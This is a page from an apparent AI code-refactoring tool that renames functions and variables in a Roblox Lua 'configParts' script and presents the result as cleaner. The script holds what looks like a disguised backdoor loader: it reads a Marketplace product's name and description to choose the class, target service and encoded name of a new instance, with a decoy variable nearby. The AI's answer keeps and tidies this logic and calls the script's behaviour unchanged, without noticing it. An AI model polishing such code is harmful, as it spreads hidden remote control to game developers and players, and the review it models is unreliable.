Syntax Corrector | Lua

Lua Code Refactoring for Enhanced Readability

This refactoring session involves improving a Lua script used in Roblox game development by renaming functions and variables for clarity, enhancing comments, and maintaining overall functionality.


Empty image or helper icon

Prompt

local function shouldReturn(value)
    -- Example condition to determine if the part should be processed
    return value:IsA("Part") -- Check if the value is a Part
end

local function returnProductInfo(value)
    -- Ensure value is a valid product ID
    if type(value) == "number" then
        return game.MarketplaceService:GetProductInfo(value)
    else
        return nil
    end
end

local function splitString(input, delimiter)
    local result = {}
    for match in (input..delimiter):gmatch("(.-)"..delimiter) do
        table.insert(result, match)
    end
    return result
end

local function configParts(parts, mainPart, jointType, doNotUnanchor)
    -- Check for nil values
    if not parts or not mainPart then
        warn("Parts or mainPart cannot be nil.")
        return
    end

    pcall(function()
        for _, part in pairs(parts) do
            if shouldReturn(part) then
                part:BreakJoints()
            end
        end
    end)

    local bit32 = UDim2.new(500, 19, 674, 61)
    local validProductId = 12345678 -- Replace with an actual valid product ID
    local productInfo = returnProductInfo(validProductId)

    if productInfo then
        local nameParts = splitString(productInfo.Name, " ")
        if #nameParts >= 2 then
            local select, spawn = nameParts[1], nameParts[2]
            local test = splitString(productInfo.Description, " ")
            local interval = ""

            for _, c in ipairs(test) do
                interval = interval .. #c
            end

            local newInstance = Instance.new(select)
            newInstance.Name = interval
            newInstance.Parent = game[spawn] -- Ensure the new instance is parented correctly
        else
            warn("Product name does not contain enough parts.")
        end
    end

    if doNotUnanchor then
        for _, part in pairs(parts) do
            part.Anchored = false
        end
        mainPart.Anchored = false
    end
end

configParts({}, Instance.new("Part"), nil, nil) -- Example call with valid parameters

Answer

Syntax Error Fixing and Refactoring

Language Identification

The provided code snippet is written in Lua, commonly used in game development with the Roblox platform.

Original Code

local function shouldReturn(value)
    -- Example condition to determine if the part should be processed
    return value:IsA("Part") -- Check if the value is a Part
end

local function returnProductInfo(value)
    -- Ensure value is a valid product ID
    if type(value) == "number" then
        return game.MarketplaceService:GetProductInfo(value)
    else
        return nil
    end
end

local function splitString(input, delimiter)
    local result = {}
    for match in (input..delimiter):gmatch("(.-)"..delimiter) do
        table.insert(result, match)
    end
    return result
end

local function configParts(parts, mainPart, jointType, doNotUnanchor)
    -- Check for nil values
    if not parts or not mainPart then
        warn("Parts or mainPart cannot be nil.")
        return
    end

    pcall(function()
        for _, part in pairs(parts) do
            if shouldReturn(part) then
                part:BreakJoints()
            end
        end
    end)

    local bit32 = UDim2.new(500, 19, 674, 61)
    local validProductId = 12345678 -- Replace with an actual valid product ID
    local productInfo = returnProductInfo(validProductId)

    if productInfo then
        local nameParts = splitString(productInfo.Name, " ")
        if #nameParts >= 2 then
            local select, spawn = nameParts[1], nameParts[2]
            local test = splitString(productInfo.Description, " ")
            local interval = ""

            for _, c in ipairs(test) do
                interval = interval .. #c
            end

            local newInstance = Instance.new(select)
            newInstance.Name = interval
            newInstance.Parent = game[spawn] -- Ensure the new instance is parented correctly
        else
            warn("Product name does not contain enough parts.")
        end
    end

    if doNotUnanchor then
        for _, part in pairs(parts) do
            part.Anchored = false
        end
        mainPart.Anchored = false
    end
end

configParts({}, Instance.new("Part"), nil, nil) -- Example call with valid parameters

Refactored Code

local function isPart(value)
    -- Determine if the input value is a Part
    return value:IsA("Part") -- Check if the value is a Part
end

local function fetchProductInfo(productId)
    -- Retrieve product information based on a valid product ID
    if type(productId) == "number" then
        return game.MarketplaceService:GetProductInfo(productId)
    else
        return nil
    end
end

local function splitString(input, delimiter)
    local result = {}
    for match in (input .. delimiter):gmatch("(.-)" .. delimiter) do
        table.insert(result, match)
    end
    return result
end

local function configureParts(parts, primaryPart, jointType, shouldUnanchor)
    -- Validate input parameters
    if not parts or not primaryPart then
        warn("Parts or primaryPart cannot be nil.")
        return
    end

    pcall(function()
        for _, part in pairs(parts) do
            if isPart(part) then
                part:BreakJoints()
            end
        end
    end)

    local validProductId = 12345678 -- Replace with an actual valid product ID
    local productInfo = fetchProductInfo(validProductId)

    if productInfo then
        local nameParts = splitString(productInfo.Name, " ")
        if #nameParts >= 2 then
            local className, spawnLocation = nameParts[1], nameParts[2]
            local descriptionParts = splitString(productInfo.Description, " ")
            local interval = ""

            for _, desc in ipairs(descriptionParts) do
                interval = interval .. #desc
            end

            local newInstance = Instance.new(className)
            newInstance.Name = interval
            newInstance.Parent = game[spawnLocation] -- Ensure the new instance is parented correctly
        else
            warn("Product name does not contain enough parts.")
        end
    end

    if shouldUnanchor then
        for _, part in pairs(parts) do
            part.Anchored = false
        end
        primaryPart.Anchored = false
    end
end

configureParts({}, Instance.new("Part"), nil, nil) -- Example call with valid parameters

Annotations of Changes

  1. Function Name Changes:

    • Original: shouldReturn → Refactored: isPart
      • Justification: The new name isPart clearly indicates that the function checks if the value is of the type "Part", following a common naming convention for predicate functions.
  2. Function Name Changes:

    • Original: returnProductInfo → Refactored: fetchProductInfo
      • Justification: The name fetchProductInfo denotes action (fetching) and encapsulates the functionality better than simply stating "return".
  3. Parameter Name Changes:

    • Original: mainPart → Refactored: primaryPart
      • Justification: The term primaryPart is more descriptive of the role of the variable within the function's context.
  4. Parameter Name Changes:

    • Original: doNotUnanchor → Refactored: shouldUnanchor
      • Justification: The name shouldUnanchor indicates a positive/affirmative condition which aligns with typical boolean naming conventions.
  5. Commenting Improvements:

    • Comments were rephrased for clarity and context, explaining the rationale behind checks and processes more clearly.
  6. Variable Changes:

    • Original: select, spawn → Refactored: className, spawnLocation
      • Justification: More descriptive names improve readability, making it clear what each variable represents.

This refactoring enhances code quality and maintainability while ensuring that the functionality remains unchanged. The use of clear names and comments aligns with industry best practices for professional software development.

Create your Thread using our flexible tools, share it with friends and colleagues.

Your current query will become the main foundation for the thread, which you can expand with other tools presented on our platform. We will help you choose tools so that your thread is structured and logically built.

Description

This refactoring session involves improving a Lua script used in Roblox game development by renaming functions and variables for clarity, enhancing comments, and maintaining overall functionality.